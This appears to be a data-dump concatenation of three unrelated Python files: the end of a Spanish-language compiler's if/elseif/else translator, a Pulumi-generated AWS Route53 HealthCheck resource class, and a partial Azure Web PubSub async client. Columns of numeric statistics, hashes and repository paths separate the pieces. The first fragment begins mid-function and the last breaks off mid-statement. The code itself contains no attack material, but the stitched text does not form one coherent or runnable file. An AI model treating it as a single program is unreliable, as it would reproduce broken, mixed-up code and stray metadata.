instruccion_if = i.traducir(tabla, arbol,cadenaTraducida)
if isinstance(instruccion_if, Excepcion):
return instruccion_if
codigo += instruccion_if
codigo += "\tlabel " + etiquetaSalida + "\n"
return codigo
# ...
# if temporal_logico:
# goto L1
# goto L10
# label L10
# ................
#
# if temporal_logico2:
# goto L3
# goto L4
# Label L3
# instrucciones_elseif
# goto L2
# label L4
#
# ....................
# label L1
# instrucciones_if
# label L2
# ...
else:
error = Excepcion('42804',"Semántico","La expresion logica debe ser de tipo boolean",self.linea,self.columna)
arbol.excepciones.append(error)
arbol.consola.append(error.toString())
return error
class IfElseIfElse(Instruccion):
'''
Esta clase representa la instrucción if elseif else.
La instrucción if elseif else recibe como parámetro una expresión lógica principal y la lista
de instrucciones, asi como una lista de elseif que contienen respectiva expresion logica e instrucciones
a ejecutar y las instrucciones si todas son falsas.
'''
def __init__(self,expLogica,instrIfVerdadero,l_elseif,instrIfFalso,strGram, linea, columna, strSent):
Instruccion.__init__(self,None,linea,columna,strGram,strSent)
self.expLogica = expLogica
self.instrIfVerdadero = instrIfVerdadero
self.l_elseif = l_elseif
self.instrIfFalso = instrIfFalso
def ejecutar(self, tabla, arbol):
pass
def traducir(self, tabla, arbol,cadenaTraducida):
#Si existe algun error en la expresion logica se devuelve el error
expresion_logica = self.expLogica.traducir(tabla, arbol,cadenaTraducida)
if isinstance(expresion_logica, Excepcion):
return expresion_logica
if expresion_logica.tipo.tipo == Tipo_Dato.BOOLEAN or expresion_logica.tipo.tipo == Tipo_Dato.ID:
#Inicia traduccion
codigo = expresion_logica.codigo
etiquetaF = arbol.generaEtiqueta()
codigo += "\tlabel " + expresion_logica.etiquetaF.replace(":","") + "\n"
#Sentencias elseif
for s_if in self.l_elseif:
sentencia_if = s_if.traducir(tabla,arbol,etiquetaF)
if isinstance(sentencia_if, Excepcion):
return sentencia_if
codigo += sentencia_if
#instrucciones si todos son falsos
for instr in self.instrIfFalso:
instruccion_falsa = instr.traducir(tabla, arbol,cadenaTraducida)
if isinstance(instruccion_falsa, Excepcion):
return instruccion_falsa
codigo += instruccion_falsa
codigo += "\tgoto " + etiquetaF + "\n"
#Label si el primer if es verdadero
codigo += "\tlabel " + expresion_logica.etiquetaV.replace(":","") + "\n"
#instrucciones if principal
for i in self.instrIfVerdadero:
instruccion_if = i.traducir(tabla, arbol,cadenaTraducida)
if isinstance(instruccion_if, Excepcion):
return instruccion_if
codigo += instruccion_if
codigo += "\tlabel " + etiquetaF + "\n"
return codigo
# ...
# if temporal_logico:
# goto L1
# goto L10
# label L10
# ................
#
# if temporal_logico2:
# goto L3
# goto L4
# Label L3
# instrucciones_elseif
# goto L2
# label L4
#
# ....................
# instrucciones_ifFalso
# goto L2
# label L1
# instrucciones_if
# label L2
# ...
else:
error = Excepcion('42804',"Semántico","La expresion logica debe ser de tipo boolean",self.linea,self.columna)
arbol.excepciones.append(error)
arbol.consola.append(error.toString())
return error
| 42.85283
| 121
| 0.578373
| 1,085
| 11,356
| 5.931797
| 0.115207
| 0.100218
| 0.054382
| 0.051274
| 0.866998
| 0.852082
| 0.852082
| 0.780764
| 0.75202
| 0.739279
| 0
| 0.007577
| 0.337531
| 11,356
| 265
| 122
| 42.85283
| 0.847933
| 0.203417
| 0
| 0.763889
| 0
| 0
| 0.045269
| 0
| 0
| 0
| 0
| 0.003774
| 0
| 1
| 0.083333
| false
| 0.027778
| 0.020833
| 0
| 0.270833
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
70e5d75347e45b0e14c5b2f92e2e39324cce8471
| 15,813
|
py
|
Python
|
sdk/python/pulumi_aws/route53/health_check.py
|
dixler/pulumi-aws
|
88838ed6d412c092717a916b0b5b154f68226c3a
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_aws/route53/health_check.py
|
dixler/pulumi-aws
|
88838ed6d412c092717a916b0b5b154f68226c3a
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_aws/route53/health_check.py
|
dixler/pulumi-aws
|
88838ed6d412c092717a916b0b5b154f68226c3a
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import json
import warnings
import pulumi
import pulumi.runtime
from typing import Union
from .. import utilities, tables
class HealthCheck(pulumi.CustomResource):
child_health_threshold: pulumi.Output[float]
"""
The minimum number of child health checks that must be healthy for Route 53 to consider the parent health check to be healthy. Valid values are integers between 0 and 256, inclusive
"""
child_healthchecks: pulumi.Output[list]
"""
For a specified parent health check, a list of HealthCheckId values for the associated child health checks.
"""
cloudwatch_alarm_name: pulumi.Output[str]
"""
The name of the CloudWatch alarm.
"""
cloudwatch_alarm_region: pulumi.Output[str]
"""
The CloudWatchRegion that the CloudWatch alarm was created in.
"""
enable_sni: pulumi.Output[bool]
"""
A boolean value that indicates whether Route53 should send the `fqdn` to the endpoint when performing the health check. This defaults to AWS' defaults: when the `type` is "HTTPS" `enable_sni` defaults to `true`, when `type` is anything else `enable_sni` defaults to `false`.
"""
failure_threshold: pulumi.Output[float]
"""
The number of consecutive health checks that an endpoint must pass or fail.
"""
fqdn: pulumi.Output[str]
"""
The fully qualified domain name of the endpoint to be checked.
"""
insufficient_data_health_status: pulumi.Output[str]
"""
The status of the health check when CloudWatch has insufficient data about the state of associated alarm. Valid values are `Healthy` , `Unhealthy` and `LastKnownStatus`.
"""
invert_healthcheck: pulumi.Output[bool]
"""
A boolean value that indicates whether the status of health check should be inverted. For example, if a health check is healthy but Inverted is True , then Route 53 considers the health check to be unhealthy.
"""
ip_address: pulumi.Output[str]
"""
The IP address of the endpoint to be checked.
"""
measure_latency: pulumi.Output[bool]
"""
A Boolean value that indicates whether you want Route 53 to measure the latency between health checkers in multiple AWS regions and your endpoint and to display CloudWatch latency graphs in the Route 53 console.
"""
port: pulumi.Output[float]
"""
The port of the endpoint to be checked.
"""
reference_name: pulumi.Output[str]
"""
This is a reference name used in Caller Reference
(helpful for identifying single health_check set amongst others)
"""
regions: pulumi.Output[list]
"""
A list of AWS regions that you want Amazon Route 53 health checkers to check the specified endpoint from.
"""
request_interval: pulumi.Output[float]
"""
The number of seconds between the time that Amazon Route 53 gets a response from your endpoint and the time that it sends the next health-check request.
"""
resource_path: pulumi.Output[str]
"""
The path that you want Amazon Route 53 to request when performing health checks.
"""
search_string: pulumi.Output[str]
"""
String searched in the first 5120 bytes of the response body for check to be considered healthy. Only valid with `HTTP_STR_MATCH` and `HTTPS_STR_MATCH`.
"""
tags: pulumi.Output[dict]
"""
A mapping of tags to assign to the health check.
"""
type: pulumi.Output[str]
"""
The protocol to use when performing health checks. Valid values are `HTTP`, `HTTPS`, `HTTP_STR_MATCH`, `HTTPS_STR_MATCH`, `TCP`, `CALCULATED` and `CLOUDWATCH_METRIC`.
"""
def __init__(__self__, resource_name, opts=None, child_health_threshold=None, child_healthchecks=None, cloudwatch_alarm_name=None, cloudwatch_alarm_region=None, enable_sni=None, failure_threshold=None, fqdn=None, insufficient_data_health_status=None, invert_healthcheck=None, ip_address=None, measure_latency=None, port=None, reference_name=None, regions=None, request_interval=None, resource_path=None, search_string=None, tags=None, type=None, __props__=None, __name__=None, __opts__=None):
"""
Provides a Route53 health check.
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[float] child_health_threshold: The minimum number of child health checks that must be healthy for Route 53 to consider the parent health check to be healthy. Valid values are integers between 0 and 256, inclusive
:param pulumi.Input[list] child_healthchecks: For a specified parent health check, a list of HealthCheckId values for the associated child health checks.
:param pulumi.Input[str] cloudwatch_alarm_name: The name of the CloudWatch alarm.
:param pulumi.Input[str] cloudwatch_alarm_region: The CloudWatchRegion that the CloudWatch alarm was created in.
:param pulumi.Input[bool] enable_sni: A boolean value that indicates whether Route53 should send the `fqdn` to the endpoint when performing the health check. This defaults to AWS' defaults: when the `type` is "HTTPS" `enable_sni` defaults to `true`, when `type` is anything else `enable_sni` defaults to `false`.
:param pulumi.Input[float] failure_threshold: The number of consecutive health checks that an endpoint must pass or fail.
:param pulumi.Input[str] fqdn: The fully qualified domain name of the endpoint to be checked.
:param pulumi.Input[str] insufficient_data_health_status: The status of the health check when CloudWatch has insufficient data about the state of associated alarm. Valid values are `Healthy` , `Unhealthy` and `LastKnownStatus`.
:param pulumi.Input[bool] invert_healthcheck: A boolean value that indicates whether the status of health check should be inverted. For example, if a health check is healthy but Inverted is True , then Route 53 considers the health check to be unhealthy.
:param pulumi.Input[str] ip_address: The IP address of the endpoint to be checked.
:param pulumi.Input[bool] measure_latency: A Boolean value that indicates whether you want Route 53 to measure the latency between health checkers in multiple AWS regions and your endpoint and to display CloudWatch latency graphs in the Route 53 console.
:param pulumi.Input[float] port: The port of the endpoint to be checked.
:param pulumi.Input[str] reference_name: This is a reference name used in Caller Reference
(helpful for identifying single health_check set amongst others)
:param pulumi.Input[list] regions: A list of AWS regions that you want Amazon Route 53 health checkers to check the specified endpoint from.
:param pulumi.Input[float] request_interval: The number of seconds between the time that Amazon Route 53 gets a response from your endpoint and the time that it sends the next health-check request.
:param pulumi.Input[str] resource_path: The path that you want Amazon Route 53 to request when performing health checks.
:param pulumi.Input[str] search_string: String searched in the first 5120 bytes of the response body for check to be considered healthy. Only valid with `HTTP_STR_MATCH` and `HTTPS_STR_MATCH`.
:param pulumi.Input[dict] tags: A mapping of tags to assign to the health check.
:param pulumi.Input[str] type: The protocol to use when performing health checks. Valid values are `HTTP`, `HTTPS`, `HTTP_STR_MATCH`, `HTTPS_STR_MATCH`, `TCP`, `CALCULATED` and `CLOUDWATCH_METRIC`.
> This content is derived from https://github.com/terraform-providers/terraform-provider-aws/blob/master/website/docs/r/route53_health_check.html.markdown.
"""
if __name__ is not None:
warnings.warn("explicit use of __name__ is deprecated", DeprecationWarning)
resource_name = __name__
if __opts__ is not None:
warnings.warn("explicit use of __opts__ is deprecated, use 'opts' instead", DeprecationWarning)
opts = __opts__
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = dict()
__props__['child_health_threshold'] = child_health_threshold
__props__['child_healthchecks'] = child_healthchecks
__props__['cloudwatch_alarm_name'] = cloudwatch_alarm_name
__props__['cloudwatch_alarm_region'] = cloudwatch_alarm_region
__props__['enable_sni'] = enable_sni
__props__['failure_threshold'] = failure_threshold
__props__['fqdn'] = fqdn
__props__['insufficient_data_health_status'] = insufficient_data_health_status
__props__['invert_healthcheck'] = invert_healthcheck
__props__['ip_address'] = ip_address
__props__['measure_latency'] = measure_latency
__props__['port'] = port
__props__['reference_name'] = reference_name
__props__['regions'] = regions
__props__['request_interval'] = request_interval
__props__['resource_path'] = resource_path
__props__['search_string'] = search_string
__props__['tags'] = tags
if type is None:
raise TypeError("Missing required property 'type'")
__props__['type'] = type
super(HealthCheck, __self__).__init__(
'aws:route53/healthCheck:HealthCheck',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name, id, opts=None, child_health_threshold=None, child_healthchecks=None, cloudwatch_alarm_name=None, cloudwatch_alarm_region=None, enable_sni=None, failure_threshold=None, fqdn=None, insufficient_data_health_status=None, invert_healthcheck=None, ip_address=None, measure_latency=None, port=None, reference_name=None, regions=None, request_interval=None, resource_path=None, search_string=None, tags=None, type=None):
"""
Get an existing HealthCheck resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param str id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[float] child_health_threshold: The minimum number of child health checks that must be healthy for Route 53 to consider the parent health check to be healthy. Valid values are integers between 0 and 256, inclusive
:param pulumi.Input[list] child_healthchecks: For a specified parent health check, a list of HealthCheckId values for the associated child health checks.
:param pulumi.Input[str] cloudwatch_alarm_name: The name of the CloudWatch alarm.
:param pulumi.Input[str] cloudwatch_alarm_region: The CloudWatchRegion that the CloudWatch alarm was created in.
:param pulumi.Input[bool] enable_sni: A boolean value that indicates whether Route53 should send the `fqdn` to the endpoint when performing the health check. This defaults to AWS' defaults: when the `type` is "HTTPS" `enable_sni` defaults to `true`, when `type` is anything else `enable_sni` defaults to `false`.
:param pulumi.Input[float] failure_threshold: The number of consecutive health checks that an endpoint must pass or fail.
:param pulumi.Input[str] fqdn: The fully qualified domain name of the endpoint to be checked.
:param pulumi.Input[str] insufficient_data_health_status: The status of the health check when CloudWatch has insufficient data about the state of associated alarm. Valid values are `Healthy` , `Unhealthy` and `LastKnownStatus`.
:param pulumi.Input[bool] invert_healthcheck: A boolean value that indicates whether the status of health check should be inverted. For example, if a health check is healthy but Inverted is True , then Route 53 considers the health check to be unhealthy.
:param pulumi.Input[str] ip_address: The IP address of the endpoint to be checked.
:param pulumi.Input[bool] measure_latency: A Boolean value that indicates whether you want Route 53 to measure the latency between health checkers in multiple AWS regions and your endpoint and to display CloudWatch latency graphs in the Route 53 console.
:param pulumi.Input[float] port: The port of the endpoint to be checked.
:param pulumi.Input[str] reference_name: This is a reference name used in Caller Reference
(helpful for identifying single health_check set amongst others)
:param pulumi.Input[list] regions: A list of AWS regions that you want Amazon Route 53 health checkers to check the specified endpoint from.
:param pulumi.Input[float] request_interval: The number of seconds between the time that Amazon Route 53 gets a response from your endpoint and the time that it sends the next health-check request.
:param pulumi.Input[str] resource_path: The path that you want Amazon Route 53 to request when performing health checks.
:param pulumi.Input[str] search_string: String searched in the first 5120 bytes of the response body for check to be considered healthy. Only valid with `HTTP_STR_MATCH` and `HTTPS_STR_MATCH`.
:param pulumi.Input[dict] tags: A mapping of tags to assign to the health check.
:param pulumi.Input[str] type: The protocol to use when performing health checks. Valid values are `HTTP`, `HTTPS`, `HTTP_STR_MATCH`, `HTTPS_STR_MATCH`, `TCP`, `CALCULATED` and `CLOUDWATCH_METRIC`.
> This content is derived from https://github.com/terraform-providers/terraform-provider-aws/blob/master/website/docs/r/route53_health_check.html.markdown.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = dict()
__props__["child_health_threshold"] = child_health_threshold
__props__["child_healthchecks"] = child_healthchecks
__props__["cloudwatch_alarm_name"] = cloudwatch_alarm_name
__props__["cloudwatch_alarm_region"] = cloudwatch_alarm_region
__props__["enable_sni"] = enable_sni
__props__["failure_threshold"] = failure_threshold
__props__["fqdn"] = fqdn
__props__["insufficient_data_health_status"] = insufficient_data_health_status
__props__["invert_healthcheck"] = invert_healthcheck
__props__["ip_address"] = ip_address
__props__["measure_latency"] = measure_latency
__props__["port"] = port
__props__["reference_name"] = reference_name
__props__["regions"] = regions
__props__["request_interval"] = request_interval
__props__["resource_path"] = resource_path
__props__["search_string"] = search_string
__props__["tags"] = tags
__props__["type"] = type
return HealthCheck(resource_name, opts=opts, __props__=__props__)
def translate_output_property(self, prop):
return tables._CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop
def translate_input_property(self, prop):
return tables._SNAKE_TO_CAMEL_CASE_TABLE.get(prop) or prop
| 70.59375
| 496
| 0.726048
| 2,147
| 15,813
| 5.13088
| 0.114578
| 0.039942
| 0.055192
| 0.031046
| 0.841685
| 0.828431
| 0.8189
| 0.8189
| 0.809913
| 0.797476
| 0
| 0.006432
| 0.20363
| 15,813
| 223
| 497
| 70.910314
| 0.86834
| 0.453108
| 0
| 0.020619
| 1
| 0
| 0.15124
| 0.040842
| 0
| 0
| 0
| 0
| 0
| 1
| 0.041237
| false
| 0.010309
| 0.061856
| 0.020619
| 0.340206
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
70fafac9b20636a17ab8b3828b58200e0b6e18b8
| 49,783
|
py
|
Python
|
sdk/webpubsub/azure-messaging-webpubsubservice/azure/messaging/webpubsubservice/aio/_operations/_operations.py
|
vincenttran-msft/azure-sdk-for-python
|
348b56f9f03eeb3f7b502eed51daf494ffff874d
|
[
"MIT"
] | 1
|
2022-02-01T18:50:12.000Z
|
2022-02-01T18:50:12.000Z
|
sdk/webpubsub/azure-messaging-webpubsubservice/azure/messaging/webpubsubservice/aio/_operations/_operations.py
|
vincenttran-msft/azure-sdk-for-python
|
348b56f9f03eeb3f7b502eed51daf494ffff874d
|
[
"MIT"
] | null | null | null |
sdk/webpubsub/azure-messaging-webpubsubservice/azure/messaging/webpubsubservice/aio/_operations/_operations.py
|
vincenttran-msft/azure-sdk-for-python
|
348b56f9f03eeb3f7b502eed51daf494ffff874d
|
[
"MIT"
] | null | null | null |
# pylint: disable=too-many-lines
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is regenerated.
# --------------------------------------------------------------------------
import sys
from typing import Any, Callable, Dict, IO, List, Optional, TypeVar, Union, cast
from azure.core.exceptions import (
ClientAuthenticationError,
HttpResponseError,
ResourceExistsError,
ResourceNotFoundError,
map_error,
)
from azure.core.pipeline import PipelineResponse
from azure.core.pipeline.transport import AsyncHttpResponse
from azure.core.rest import HttpRequest
from azure.core.tracing.decorator_async import distributed_trace_async
from azure.core.utils import case_insensitive_dict
from ..._operations._operations import (
build_add_connection_to_group_request,
build_add_user_to_group_request,
build_close_all_connections_request,
build_close_connection_request,
build_close_group_connections_request,
build_close_user_connections_request,
build_connection_exists_request,
build_get_client_access_token_request,
build_grant_permission_request,
build_group_exists_request,
build_has_permission_request,
build_remove_connection_from_group_request,
build_remove_user_from_all_groups_request,
build_remove_user_from_group_request,
build_revoke_permission_request,
build_send_to_all_request,
build_send_to_connection_request,
build_send_to_group_request,
build_send_to_user_request,
build_user_exists_request,
)
from .._vendor import MixinABC
if sys.version_info >= (3, 9):
from collections.abc import MutableMapping
else:
from typing import MutableMapping # type: ignore # pylint: disable=ungrouped-imports
JSON = MutableMapping[str, Any] # pylint: disable=unsubscriptable-object
T = TypeVar("T")
ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]]
class WebPubSubServiceClientOperationsMixin(MixinABC):
@distributed_trace_async
async def get_client_access_token(
self,
*,
user_id: Optional[str] = None,
roles: Optional[List[str]] = None,
minutes_to_expire: Optional[int] = 60,
**kwargs: Any
) -> JSON:
"""Generate token for the client to connect Azure Web PubSub service.
Generate token for the client to connect Azure Web PubSub service.
:keyword user_id: User Id. Default value is None.
:paramtype user_id: str
:keyword roles: Roles that the connection with the generated token will have. Default value is
None.
:paramtype roles: list[str]
:keyword minutes_to_expire: The expire time of the generated token. Default value is 60.
:paramtype minutes_to_expire: int
:return: JSON object
:rtype: JSON
:raises: ~azure.core.exceptions.HttpResponseError
Example:
.. code-block:: python
# response body for status code(s): 200
response.json() == {
"token": "str" # Optional. The token value for the WebSocket client to
connect to the service.
}
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[JSON]
request = build_get_client_access_token_request(
hub=self._config.hub,
api_version=api_version,
user_id=user_id,
roles=roles,
minutes_to_expire=minutes_to_expire,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if response.content:
deserialized = response.json()
else:
deserialized = None
if cls:
return cls(pipeline_response, cast(JSON, deserialized), {})
return cast(JSON, deserialized)
@distributed_trace_async
async def close_all_connections( # pylint: disable=inconsistent-return-statements
self, *, excluded: Optional[List[str]] = None, reason: Optional[str] = None, **kwargs: Any
) -> None:
"""Close the connections in the hub.
Close the connections in the hub.
:keyword excluded: Exclude these connectionIds when closing the connections in the hub. Default
value is None.
:paramtype excluded: list[str]
:keyword reason: The reason closing the client connection. Default value is None.
:paramtype reason: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_close_all_connections_request(
hub=self._config.hub,
api_version=api_version,
excluded=excluded,
reason=reason,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [204]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def send_to_all( # pylint: disable=inconsistent-return-statements
self,
message: Union[IO, str],
*,
excluded: Optional[List[str]] = None,
content_type: Optional[str] = "application/json",
**kwargs: Any
) -> None:
"""Broadcast content inside request body to all the connected client connections.
Broadcast content inside request body to all the connected client connections.
:param message: The payload body.
:type message: IO or str
:keyword excluded: Excluded connection Ids. Default value is None.
:paramtype excluded: list[str]
:keyword content_type: Media type of the body sent to the API. Known values are:
"application/json", "application/octet-stream", and "text/plain". Default value is
"application/json".
:paramtype content_type: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
_json = None
_content = None
content_type = content_type or ""
if content_type.split(";")[0] in ["application/json"]:
_json = message
elif content_type.split(";")[0] in ["application/octet-stream", "text/plain"]:
_content = message
else:
raise ValueError(
"The content_type '{}' is not one of the allowed values: "
"['application/json', 'application/octet-stream', 'text/plain']".format(content_type)
)
request = build_send_to_all_request(
hub=self._config.hub,
api_version=api_version,
content_type=content_type,
json=_json,
content=_content,
excluded=excluded,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [202]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def connection_exists(self, connection_id: str, **kwargs: Any) -> bool:
"""Check if the connection with the given connectionId exists.
Check if the connection with the given connectionId exists.
:param connection_id: The connection Id.
:type connection_id: str
:return: bool
:rtype: bool
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_connection_exists_request(
hub=self._config.hub,
connection_id=connection_id,
api_version=api_version,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [200, 404]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
return 200 <= response.status_code <= 299
@distributed_trace_async
async def close_connection( # pylint: disable=inconsistent-return-statements
self, connection_id: str, *, reason: Optional[str] = None, **kwargs: Any
) -> None:
"""Close the client connection.
Close the client connection.
:param connection_id: Target connection Id.
:type connection_id: str
:keyword reason: The reason closing the client connection. Default value is None.
:paramtype reason: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_close_connection_request(
hub=self._config.hub,
connection_id=connection_id,
api_version=api_version,
reason=reason,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [204]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def send_to_connection( # pylint: disable=inconsistent-return-statements
self,
connection_id: str,
message: Union[IO, str],
*,
content_type: Optional[str] = "application/json",
**kwargs: Any
) -> None:
"""Send content inside request body to the specific connection.
Send content inside request body to the specific connection.
:param connection_id: The connection Id.
:type connection_id: str
:param message: The payload body.
:type message: IO or str
:keyword content_type: Media type of the body sent to the API. Known values are:
"application/json", "application/octet-stream", and "text/plain". Default value is
"application/json".
:paramtype content_type: str
:return: None
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
_json = None
_content = None
content_type = content_type or ""
if content_type.split(";")[0] in ["application/json"]:
_json = message
elif content_type.split(";")[0] in ["application/octet-stream", "text/plain"]:
_content = message
else:
raise ValueError(
"The content_type '{}' is not one of the allowed values: "
"['application/json', 'application/octet-stream', 'text/plain']".format(content_type)
)
request = build_send_to_connection_request(
hub=self._config.hub,
connection_id=connection_id,
api_version=api_version,
content_type=content_type,
json=_json,
content=_content,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [202]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response)
if cls:
return cls(pipeline_response, None, {})
@distributed_trace_async
async def group_exists(self, group: str, **kwargs: Any) -> bool:
"""Check if there are any client connections inside the given group.
Check if there are any client connections inside the given group.
:param group: Target group name, which length should be greater than 0 and less than 1025.
:type group: str
:return: bool
:rtype: bool
:raises: ~azure.core.exceptions.HttpResponseError
"""
error_map = {401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError}
error_map.update(kwargs.pop("error_map", {}) or {})
_headers = kwargs.pop("headers", {}) or {}
_params = case_insensitive_dict(kwargs.pop("params", {}) or {})
api_version = kwargs.pop("api_version", _params.pop("api-version", "2021-10-01")) # type: str
cls = kwargs.pop("cls", None) # type: ClsType[None]
request = build_group_exists_request(
hub=self._config.hub,
group=group,
api_version=api_version,
headers=_headers,
params=_params,
)
path_format_arguments = {
"Endpoint": self._serialize.url("self._config.endpoint", self._config.endpoint, "str", skip_quote=True),
}
request.url = self._client.format_url(request.url, **path_format_arguments) # type: ignore
pipeline_response = await self._client._pipeline.run( # type: ignore # pylint: disable=protected-access
request, stream=False, **kwargs
)
response = pipeline_response.http_response
if response.status_code not in [200, 404]:
